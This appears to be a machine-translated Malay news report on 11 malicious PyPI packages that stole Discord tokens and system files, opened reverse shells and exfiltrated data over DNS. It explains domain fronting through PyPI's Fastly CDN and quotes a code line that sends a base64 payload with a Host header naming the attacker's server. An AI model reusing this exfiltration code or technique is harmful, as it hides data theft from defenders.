Perpustakaan berniat jahat dikesan dalam katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Dalam direktori PyPI (Python Package Index), 11 pakej yang mengandungi kod hasad telah dikenal pasti. Sebelum masalah dikenal pasti, pakej telah dimuat turun kira-kira 38 ribu kali secara keseluruhan. Pakej berniat jahat yang dikesan terkenal kerana penggunaan kaedah yang canggih untuk menyembunyikan saluran komunikasi dengan pelayan penyerang.

  • importantpackage (6305 muat turun), important-package (12897) - mewujudkan sambungan ke pelayan luaran dengan berselindung untuk menyambung ke pypi.python.org untuk menyediakan akses shell kepada sistem (reverse shell) dan menggunakan program trevorc2 untuk menyembunyikan saluran komunikasi.
  • pptest (10001), ipboards (946) - menggunakan DNS sebagai saluran komunikasi untuk menghantar maklumat mengenai sistem (dalam paket pertama nama hos, direktori kerja, IP dalaman dan luaran, yang kedua - nama pengguna dan nama hos) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - mengenal pasti token perkhidmatan Discord dalam sistem dan menghantarnya kepada hos luaran.
  • trrfab (287) - menghantar pengecam, nama hos dan kandungan /etc/passwd, /etc/hosts, /home kepada hos luaran.
  • 10Cent10 (490) - mewujudkan sambungan cangkerang terbalik dengan hos luaran.
  • yandex-yt (4183) - memaparkan mesej tentang sistem yang dikompromi dan dialihkan ke halaman dengan maklumat tambahan tentang tindakan lanjut yang dikeluarkan melalui nda.ya.ru (api.ya.cc).

Nota khusus ialah kaedah mengakses hos luaran yang digunakan dalam pakej penting dan pakej pakej penting, yang menggunakan rangkaian penghantaran kandungan Fastly yang digunakan dalam direktori PyPI untuk menyembunyikan aktiviti mereka. Malah, permintaan telah dihantar ke pelayan pypi.python.org (termasuk menyatakan nama python.org dalam SNI di dalam permintaan HTTPS), tetapi pengepala "Hos" HTTP menyertakan nama pelayan yang dikawal oleh penyerang (sek. forward.io. global.prod.fastly.net). Rangkaian penghantaran kandungan menghantar permintaan yang serupa kepada pelayan yang menyerang, menggunakan parameter sambungan TLS ke pypi.python.org semasa menghantar data.

Infrastruktur PyPI dikuasakan oleh rangkaian penghantaran kandungan Fastly, yang menggunakan proksi Varnish telus untuk menyimpan permintaan biasa dalam cache dan mengendalikan sijil TLS pada peringkat CDN, bukannya pada pelayan titik akhir, untuk menghalakan permintaan HTTPS melalui proksi. Terlepas dari hos sasaran, permintaan dihalakan ke proksi, yang menentukan hos yang dikehendaki menggunakan pengepala HTTP "Hos". nama domain Hos dipetakan ke alamat IP pengimbang beban CDN yang lazim bagi semua pelanggan Fastly.

Pelayan penyerang juga mendaftar dengan Fastly CDN, yang menawarkan pelan percuma kepada sesiapa sahaja dan juga membenarkan pendaftaran tanpa nama. Terutamanya, shell terbalik juga digunakan untuk menghantar permintaan kepada mangsa, tetapi dimulakan daripada hos penyerang. Dari luar, interaksi dengan pelayan penyerang kelihatan seperti sesi yang sah dengan direktori PyPI, disulitkan menggunakan Sijil TLS PyPI. Teknik yang serupa, yang dikenali sebagai "domain fronting," sebelum ini digunakan secara meluas untuk menyembunyikan nama hos apabila memintas penyekatan. Teknik ini menggunakan ciri akses HTTPS yang ditawarkan oleh sesetengah CDN, menyatakan nama hos dummy dalam SNI dan sebenarnya menghantar nama hos yang diminta dalam pengepala Hos HTTP dalam sesi TLS.

Perpustakaan berniat jahat dikesan dalam katalog PyPI yang menggunakan CDN PyPI untuk menyembunyikan saluran komunikasi

Untuk menyembunyikan aktiviti berniat jahat, pakej TrevorC2 juga digunakan untuk membuat interaksi dengan pelayan serupa dengan navigasi web biasa, contohnya, permintaan berniat jahat telah dihantar dengan berselindung untuk memuat turun imej “https://pypi.python.org/images/ guid=” dengan pengekodan maklumat dalam parameter panduan. url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {‘Host’: “psec.forward.io.global.prod.fastly.net”})

Pakej pptest dan ipboards menggunakan pendekatan berbeza untuk menyembunyikan aktiviti rangkaian, berdasarkan pengekodan maklumat berguna dalam pertanyaan kepada pelayan DNS. Perisian hasad menghantar maklumat dengan melaksanakan permintaan DNS seperti "nu4timjagq4fimbuhe.example.com", yang mana data yang dihantar ke pelayan kawalan dikodkan menggunakan format base64 dalam nama subdomain. Penyerang menerima mesej ini dengan mengawal pelayan DNS untuk domain example.com.

Sumber: opennet.ru

Beli pengehosan yang boleh dipercayai untuk tapak dengan perlindungan DDoS, pelayan VPS VDS 🔥 Beli pengehosan laman web yang boleh dipercayai dengan perlindungan DDoS, pelayan VPS VDS | ProHoster